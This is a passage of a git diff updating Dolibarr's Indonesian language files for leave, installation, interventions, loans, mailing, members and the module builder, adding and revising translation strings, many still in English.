automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/id_ID/holiday.lang b/htdocs/langs/id_ID/holiday.lang index f03f385e2b8..32ac4b47c40 100644 --- a/htdocs/langs/id_ID/holiday.lang +++ b/htdocs/langs/id_ID/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Keluar +Holidays=Leaves +Holiday=Keluar CPTitreMenu=Keluar MenuReportMonth=Pernyataan bulanan MenuAddCP=Permintaan cuti baru +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Anda harus mengaktifkan modul Leave untuk melihat halaman ini. AddCP=Buat sebuah permintaan cuti DateDebCP=Tanggal mulai @@ -56,6 +58,7 @@ ConfirmDeleteCP=Konfirmasikan penghapusan permintaan cuti ini? ErrorCantDeleteCP=Kesalahan Anda tidak memiliki hak untuk menghapus permintaan cuti ini. CantCreateCP=Anda tidak memiliki hak untuk mengajukan permintaan cuti. InvalidValidatorCP=Anda harus memilih pemberi persetujuan untuk permintaan cuti Anda. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Anda harus memilih tanggal mulai. NoDateFin=Anda harus memilih tanggal akhir. ErrorDureeCP=Permintaan cuti Anda tidak mengandung hari kerja. @@ -79,6 +82,8 @@ MotifCP=Alasan UserCP=Pengguna ErrorAddEventToUserCP=Terjadi kesalahan saat menambahkan cuti luar biasa. AddEventToUserOkCP=Penambahan cuti luar biasa telah selesai. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Lihat perubahan log LogCP=Log dari semua pembaruan yang dibuat untuk "Saldo Cuti" ActionByCP=diperbaharui oleh @@ -86,6 +91,13 @@ UserUpdateCP=Diperbarui untuk PrevSoldeCP=Saldo sebelumnya NewSoldeCP=Keseimbangan baru alreadyCPexist=Permintaan cuti telah dilakukan pada periode ini. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grup +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Hari awal permintaan cuti LastDayOfHoliday=Permintaan cuti hari terakhir BoxTitleLastLeaveRequests=Permintaan cuti yang dimodifikasi %s terbaru @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s biasanya bukan hari kerja BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/id_ID/install.lang b/htdocs/langs/id_ID/install.lang index 8aac1bb7f95..263c3a20d56 100644 --- a/htdocs/langs/id_ID/install.lang +++ b/htdocs/langs/id_ID/install.lang @@ -51,7 +51,6 @@ DatabaseName=Nama Database DatabasePrefix=Awalan tabel basis data DatabasePrefixDescription=Awalan tabel basis data. Jika kosong, standarnya adalah llx_. AdminLogin=Akun pengguna untuk pemilik basis data Dolibarr. -PasswordAgain=Ketik ulang konfirmasi kata sandi AdminPassword=Kata sandi untuk pemilik basis data Dolibarr. CreateDatabase=Buat basis data CreateUser=Buat akun pengguna atau berikan izin akun pengguna pada basis data Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Telah ada DolibarrAdminLogin=Login admin Dolibarr AdminLoginAlreadyExists=Akun administrator Dolibarr ' %s ' sudah ada. Kembali jika Anda ingin membuat yang lain. FailedToCreateAdminLogin=Gagal membuat akun administrator Dolibarr. -WarningRemoveInstallDir=Peringatan, untuk alasan keamanan, setelah instalasi atau peningkatan selesai, Anda harus menambahkan file yang bernamainstall.lockke direktori dokumen Dolibarr untuk mencegah penggunaan perangkat instal yang tidak disengaja / berbahaya lagi. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Tidak tersedia di PHP ini ChoosedMigrateScript=Pilih skrip migrasi DataMigration=Migrasi basis data (data) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Sembunyikan opsi yang tidak tersedia ErrorFoundDuringMigration=Kesalahan dilaporkan selama proses migrasi sehingga langkah selanjutnya tidak tersedia. Untuk mengabaikan kesalahan, Anda dapat klik di sini , tetapi aplikasi atau beberapa fitur mungkin tidak berfungsi dengan benar sampai kesalahan diselesaikan. YouTryInstallDisabledByDirLock=Aplikasi mencoba melakukan pemutakhiran sendiri, tetapi halaman instal / pemutakhiran telah dinonaktifkan untuk keamanan (direktori diubah namanya dengan akhiran .lock).
      YouTryInstallDisabledByFileLock=Aplikasi mencoba melakukan pemutakhiran sendiri, tetapi halaman instal / pemutakhiran telah dinonaktifkan untuk keamanan (dengan adanya file kunciinstall.lock dalam direktori dokumen dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Klik di sini untuk pergi ke aplikasi Anda ClickOnLinkOrRemoveManualy=Jika peningkatan sedang berlangsung, harap tunggu. Jika tidak, klik tautan berikut. Jika Anda selalu melihat halaman yang sama, Anda harus menghapus / mengganti nama file install.lock di direktori dokumen. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Sarat FunctionTest=Tes fungsi +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/id_ID/interventions.lang b/htdocs/langs/id_ID/interventions.lang index 8446a7d2078..7097f577dbf 100644 --- a/htdocs/langs/id_ID/interventions.lang +++ b/htdocs/langs/id_ID/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Menyembunyikan jam dan menit dari bidang tanggal u InterventionStatistics=Statistik intervensi NbOfinterventions=Jumlah kartu intervensi NumberOfInterventionsByMonth=Jumlah kartu intervensi berdasarkan bulan (tanggal validasi) -AmountOfInteventionNotIncludedByDefault=Jumlah intervensi tidak dimasukkan secara default ke dalam laba (dalam kebanyakan kasus, timesheets digunakan untuk menghitung waktu yang dihabiskan). Tambahkan opsi PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT ke 1 ke pengaturan rumah-lainnya untuk memasukkannya. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID intervensi InterRef=Intervensi ref. InterDateCreation=Intervensi pembuatan tanggal @@ -66,3 +66,7 @@ RepeatableIntervention=Template intervensi ToCreateAPredefinedIntervention=Untuk membuat intervensi yang telah ditetapkan atau berulang, buat intervensi umum dan ubah menjadi template intervensi ConfirmReopenIntervention=Apakah Anda yakin ingin membuka kembali intervensi %s ? GenerateInter=Menghasilkan intervensi +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/id_ID/loan.lang b/htdocs/langs/id_ID/loan.lang index 5bd1f86c599..a69cf7c77dd 100644 --- a/htdocs/langs/id_ID/loan.lang +++ b/htdocs/langs/id_ID/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Anda tidak dapat mengubah minat jika Anda menggunakan jadwal # Admin ConfigLoan=Konfigurasi pinjaman modul -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Modal akun akuntansi secara default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Bunga akun akuntansi secara default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Akuntansi akun asuransi secara default +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Edit komitmen keuangan diff --git a/htdocs/langs/id_ID/mailmanspip.lang b/htdocs/langs/id_ID/mailmanspip.lang index 27e8a8d2a1c..1f52e313e3d 100644 --- a/htdocs/langs/id_ID/mailmanspip.lang +++ b/htdocs/langs/id_ID/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Tes berlangganan berhasil dilaksanakan MailmanDeletionSuccess=Tes berhenti berlangganan berhasil dilaksanakan SynchroMailManEnabled=Pembaruan tukang pos akan dilakukan SynchroSpipEnabled=Pembaruan Spip akan dilakukan -DescADHERENT_MAILMAN_ADMINPW=Kata sandi administrator tukang pos +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL untuk langganan Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL untuk berhenti berlangganan Mailman DescADHERENT_MAILMAN_LISTS=Daftar untuk prasasti otomatis anggota baru (dipisahkan dengan koma) diff --git a/htdocs/langs/id_ID/mails.lang b/htdocs/langs/id_ID/mails.lang index 2359e36a123..1a3bc04c3e7 100644 --- a/htdocs/langs/id_ID/mails.lang +++ b/htdocs/langs/id_ID/mails.lang @@ -7,10 +7,10 @@ MailCard=Kartu EMailing MailRecipients=Penerima MailRecipient=Penerima MailTitle=Keterangan -MailFrom=Pengirim +MailFrom=Dari MailErrorsTo=Kesalahan pada MailReply=Membalas ke -MailTo=Penerima(banyak) +MailTo=Kepada MailToUsers=Kepada pengguna(banyak) MailCC=Salin ke MailToCCUsers=Salin ke pengguna(banyak) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Kontak berdasarkan posisi MailingModuleDescEmailsFromFile=Email dari file MailingModuleDescEmailsFromUser=Masukan input email oleh pengguna MailingModuleDescDolibarrUsers=Pengguna dengan Email -MailingModuleDescThirdPartiesByCategories=Pihak ketiga (berdasarkan kategori) +MailingModuleDescThirdPartiesByCategories=Pihak Ketiga SendingFromWebInterfaceIsNotAllowed=Mengirim dari antarmuka web tidak diizinkan. EmailCollectorFilterDesc=Semua filter harus cocok agar email dikumpulkan @@ -178,3 +178,5 @@ IsAnAnswer=Adalah jawaban dari email awal RecordCreatedByEmailCollector=Catatan dibuat oleh Kolektor Email %s dari email %s DefaultBlacklistMailingStatus=Nilai default untuk bidang '%s' saat membuat kontak baru DefaultStatusEmptyMandatory=Kosong tapi wajib +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/id_ID/main.lang b/htdocs/langs/id_ID/main.lang index 21b62af26c7..c1561ca1878 100644 --- a/htdocs/langs/id_ID/main.lang +++ b/htdocs/langs/id_ID/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Tidak ada templat yang tersedia untuk jenis email ini AvailableVariables=Variabel substitusi yang tersedia NoTranslation=Tanpa terjemahan Translation=Terjemahan +Translations=Translations CurrentTimeZone=TimeZone PHP (Server) EmptySearchString=Masukkan kriteria pencarian yang tidak kosong EnterADateCriteria=Masukkan kriteria tanggal @@ -199,6 +206,7 @@ Valid=Sah Approve=Menyetujui Disapprove=Ditolak ReOpen=Buka kembali +OpenVerb=Open Upload=Unggah ToLink=Link Select=Pilih @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Tidak ada grup pengguna yang ditentukan Password=Kata kunci -PasswordRetype=Ketik ulang kata sandi Anda +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Perhatikan bahwa banyak fitur / modul dinonaktifkan dalam demonstrasi ini. +YourUserFile=Your user file Name=Nama NameSlashCompany=Nama / Perusahaan Person=Orang @@ -481,6 +490,7 @@ ActionsOnContact=Perihal untuk kontak / alamat ini ActionsOnContract=Perihal untuk kontrak ini ActionsOnMember=Perihal tentang anggota ini ActionsOnProduct=Perihal tentang produk ini +ActionsOnAsset=Events for this fixed asset NActionsLate=%s terlambat ToDo=Melakukan Completed=Lengkap @@ -888,6 +898,9 @@ MassFilesArea=Area untuk file yang dibangun oleh aksi massal ShowTempMassFilesArea=Tampilkan area file yang dibangun oleh aksi massal ConfirmMassDeletion=Konfirmasi Penghapusan Massal ConfirmMassDeletionQuestion=Anda yakin ingin menghapus catatan terpilih %s? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Objek Terkait ClassifyBilled=Klasifikasi ditagih ClassifyUnbilled=Klasifikasi tidak ditagih @@ -903,8 +916,8 @@ ExportFilteredList=Ekspor daftar yang difilter ExportList=Daftar ekspor ExportOptions=Opsi Ekspor IncludeDocsAlreadyExported=Sertakan dokumen yang sudah diekspor -ExportOfPiecesAlreadyExportedIsEnable=Ekspor potongan yang sudah diekspor dimungkinkan -ExportOfPiecesAlreadyExportedIsDisable=Ekspor potongan yang sudah diekspor dinonaktifkan +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Semua pergerakan yang diekspor dicatat sebagai yang diekspor NotAllExportedMovementsCouldBeRecordedAsExported=Tidak semua pergerakan yang diekspor dapat dicatat sebagai yang diekspor Miscellaneous=Lain-lain @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Tautan unduhan pribadi PrivateDownloadLinkDesc=Anda harus masuk dan Anda memerlukan izin untuk melihat atau mengunduh file Download=Unduh DownloadDocument=Unduh dokumen +DownloadSignedDocument=Download signed document ActualizeCurrency=Perbarui kurs mata uang Fiscalyear=Tahun fiskal ModuleBuilder=Modul dan Pembuat Aplikasi @@ -1046,6 +1060,7 @@ SearchIntoContracts=Kontrak SearchIntoCustomerShipments=Pengiriman pelanggan SearchIntoExpenseReports=Laporan biaya SearchIntoLeaves=Keluar +SearchIntoKM=Dasar pengetahuan SearchIntoTickets=Tiket SearchIntoCustomerPayments=Pembayaran pelanggan SearchIntoVendorPayments=Pembayaran vendor @@ -1117,6 +1132,7 @@ DeleteFileText=Anda yakin ingin menghapus file ini? ShowOtherLanguages=Tampilkan bahasa lain SwitchInEditModeToAddTranslation=Alihkan dalam mode edit untuk menambahkan terjemahan untuk bahasa ini NotUsedForThisCustomer=Tidak digunakan untuk pelanggan ini +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Jumlahnya harus positif ByStatus=Menurut status InformationMessage=Informasi @@ -1137,15 +1153,29 @@ EventReminder=Pengingat Acara UpdateForAllLines=Perbarui untuk semua lini OnHold=Tertahan Civility=Kesopanan -AffectTag=Mempengaruhi Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Buat pengguna eksternal -ConfirmAffectTag=Pengaruh Tag Massal -ConfirmAffectTagQuestion=Yakin ingin memengaruhi tag ke %s rekaman yang dipilih()? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Tidak ada jenis tag yang ditemukan untuk jenis rekaman +Rate=Menilai +SupervisorNotFound=Supervisor not found CopiedToClipboard=Disalin ke papan klip InformationOnLinkToContract=Jumlah ini hanyalah total dari semua garis kontrak. Tidak ada gagasan tentang waktu yang dipertimbangkan. ConfirmCancel=Anda yakin untuk membatalkan EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Aktifkan SetToDisabled=Non-aktifkan ConfirmMassEnabling=konfirmasi global aktivasi @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Pengguna internal +ExternalUser=Pengguna eksternal +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/id_ID/members.lang b/htdocs/langs/id_ID/members.lang index 898cda41a78..9c499b200c0 100644 --- a/htdocs/langs/id_ID/members.lang +++ b/htdocs/langs/id_ID/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=anggota lain (nama:%s , login: ErrorUserPermissionAllowsToLinksToItselfOnly=Demi alasan keamanan, Anda harus diberikan izin untuk mengedit semua pengguna agar dapat menautkan anggota ke pengguna yang bukan milik Anda. SetLinkToUser=Tautan ke pengguna Dolibarr SetLinkToThirdParty=Tautan ke pihak ketiga Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Daftar anggota MembersListToValid=Daftar anggota konsep (akan divalidasi) @@ -34,7 +35,8 @@ DateSubscription=Tanggal keanggotaan DateEndSubscription=Tanggal akhir keanggotaan EndSubscription=Akhir keanggotaan SubscriptionId=ID Kontribusi -WithoutSubscription=Tanpa kontribusi +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Anggota baru @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Jenis anggota tidak dapat dihapus NewSubscription=Kontribusi baru NewSubscriptionDesc=Formulir ini memungkinkan Anda untuk merekam langganan Anda sebagai anggota baru yayasan. Jika Anda ingin memperpanjang langganan Anda (jika sudah menjadi anggota), silakan hubungi dewan yayasan melalui email %s. Subscription=Kontribusi +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Durasi +GetMembershipButtonLabel=Join Subscriptions=Kontribusi SubscriptionLate=Terlambat SubscriptionNotReceived=Kontribusi tidak pernah diterima @@ -136,7 +144,7 @@ CardContent=Konten kartu anggota Anda # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Kami ingin memberi tahu Anda bahwa permintaan keanggotaan Anda telah diterima.

      ThisIsContentOfYourMembershipWasValidated=Kami ingin memberi tahu Anda bahwa keanggotaan Anda telah divalidasi dengan informasi berikut:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Kami ingin memberi tahu Anda bahwa langganan Anda akan kedaluwarsa atau telah kedaluwarsa (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Kami harap Anda akan memperbaruinya.

      ThisIsContentOfYourCard=Ini adalah ringkasan informasi yang kami miliki tentang Anda. Silakan hubungi kami jika ada yang salah.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subjek dari email pemberitahuan yang diterima jika ada tulisan otomatis dari seorang tamu @@ -198,9 +206,12 @@ SubscriptionsStatistics=Statistik kontribusi NbOfSubscriptions=Jumlah kontribusi AmountOfSubscriptions=Jumlah yang dikumpulkan dari kontribusi TurnoverOrBudget=Omset (untuk perusahaan) atau Anggaran (untuk yayasan) -DefaultAmount=Jumlah kontribusi default -CanEditAmount=Pengunjung dapat memilih/mengedit jumlah kontribusinya -MEMBER_NEWFORM_PAYONLINE=Langsung ke halaman pembayaran online terintegrasi +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Secara alami MembersStatisticsByProperties=Statistik anggota secara alami VATToUseForSubscriptions=Tarif PPN yang digunakan untuk iuran @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=Pembuatan login pengguna untuk anggota memungkinkan mere CreateDolibarrThirdPartyDesc=Pihak ketiga adalah badan hukum yang akan digunakan pada faktur jika Anda memutuskan untuk membuat faktur untuk setiap kontribusi. Anda akan dapat membuatnya nanti selama proses pencatatan kontribusi. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/id_ID/modulebuilder.lang b/htdocs/langs/id_ID/modulebuilder.lang index 09854dc68f8..ba01e440f3b 100644 --- a/htdocs/langs/id_ID/modulebuilder.lang +++ b/htdocs/langs/id_ID/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Jalur tempat modul dihasilkan / diedit (direktori pertama untuk modul eksternal didefinisikan menjadi %s):%s ModuleBuilderDesc3=Modul yang dihasilkan / dapat diedit ditemukan:%s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Modul terdeteksi sebagai 'dapat diedit' ketika file%s NewModule=Modul baru NewObjectInModulebuilder=Objek baru NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Kunci modul ObjectKey=Kunci objek DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Path ke zip paket modul / aplikasi PathToModuleDocumentation=Path ke file modul / dokumentasi aplikasi (%s) SpaceOrSpecialCharAreNotAllowed=Spasi atau karakter khusus tidak diperbolehkan. FileNotYetGenerated=File belum dibuat +GenerateCode=Generate code RegenerateClassAndSql=Memaksa pembaruan file .class dan .sql RegenerateMissingFiles=Hasilkan file yang hilang SpecificationFile=File dokumentasi LanguageFile=File untuk bahasa ObjectProperties=Properti Obyek +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Apakah Anda yakin ingin menghapus properti%s ? Ini akan mengubah kode di kelas PHP tetapi juga menghapus kolom dari tabel definisi objek. NotNull=Bukan NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Adalah ukuran DirScanned=Direktori dipindai NoTrigger=Tidak ada pemicu NoWidget=Tidak ada widget -GoToApiExplorer=Penjelajah API +ApiExplorer=Penjelajah API ListOfMenusEntries=Daftar entri menu ListOfDictionariesEntries=Daftar entri kamus ListOfPermissionsDefined=Daftar izin yang ditentukan SeeExamples=Lihat contoh di sini -EnabledDesc=Ketentuan untuk mengaktifkan bidang ini (Contoh: 1 atau $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Apakah bidangnya terlihat? (Contoh: 0 = Tidak pernah terlihat, 1 = Terlihat pada daftar dan membuat / memperbarui / melihat formulir, 2 = Terlihat hanya pada daftar, 3 = Hanya terlihat pada formulir buat / perbarui / lihat (bukan daftar), 4 = Terlihat pada daftar dan perbarui / lihat saja form (bukan buat), 5 = Terlihat hanya pada form tampilan akhir daftar (bukan buat, bukan perbarui).

      Menggunakan nilai negatif berarti bidang tidak ditampilkan secara default pada daftar tetapi dapat dipilih untuk dilihat).

      Ini bisa berupa ekspresi, misalnya:
      preg_match ('/ publik /', $ _SERVER ['PHP_SELF'])? 0: 1
      (hak liburan-> mendefinisikan liburan-> hak): -DisplayOnPdfDesc=Tampilkan bidang ini pada dokumen PDF yang kompatibel, Anda dapat mengatur posisi dengan bidang "Posisi".
      Saat ini, model PDF kompatibel yang dikenal adalah : eratosthene (pesanan), espadon (kapal), spons (faktur), cyan (propal/kutipan), cornas (pesanan pemasok)

      For document :
      0 = tidak tampil
      1 = tampil
      2 = hanya ditampilkan jika tidak kosong

      Untuk baris dokumen :
      0 = tidak tampil
      1 = tampilkan dalam kolom
      3 = tampilkan di kolom baris deskripsi setelah deskripsi
      4 = tampilkan di kolom deskripsi setelah deskripsi hanya jika tidak kosong -DisplayOnPdf=Tampilan di PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Bisakah nilai bidang diakumulasikan untuk mendapatkan total ke dalam daftar? (Contoh: 1 atau 0) SearchAllDesc=Apakah bidang yang digunakan untuk melakukan pencarian dari alat pencarian cepat? (Contoh: 1 atau 0) SpecDefDesc=Masukkan di sini semua dokumentasi yang ingin Anda berikan dengan modul Anda yang belum ditentukan oleh tab lain. Anda dapat menggunakan .md atau lebih baik, sintaks .asciidoc yang kaya. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Gunakan URL editor tertentu UseSpecificFamily = Gunakan keluarga tertentu UseSpecificAuthor = Gunakan penulis tertentu UseSpecificVersion = Gunakan versi awal tertentu -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Jika Anda mencentang ini, beberapa kode akan dibuat untuk menambahkan kotak "Hasilkan dokumen" pada catatan. -ShowOnCombobox=Tunjukkan nilai ke dalam kotak kombo +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Kunci untuk tooltip CSSClass=CSS untuk mengedit/membuat formulir CSSViewClass=CSS untuk membaca formulir CSSListClass=CSS untuk 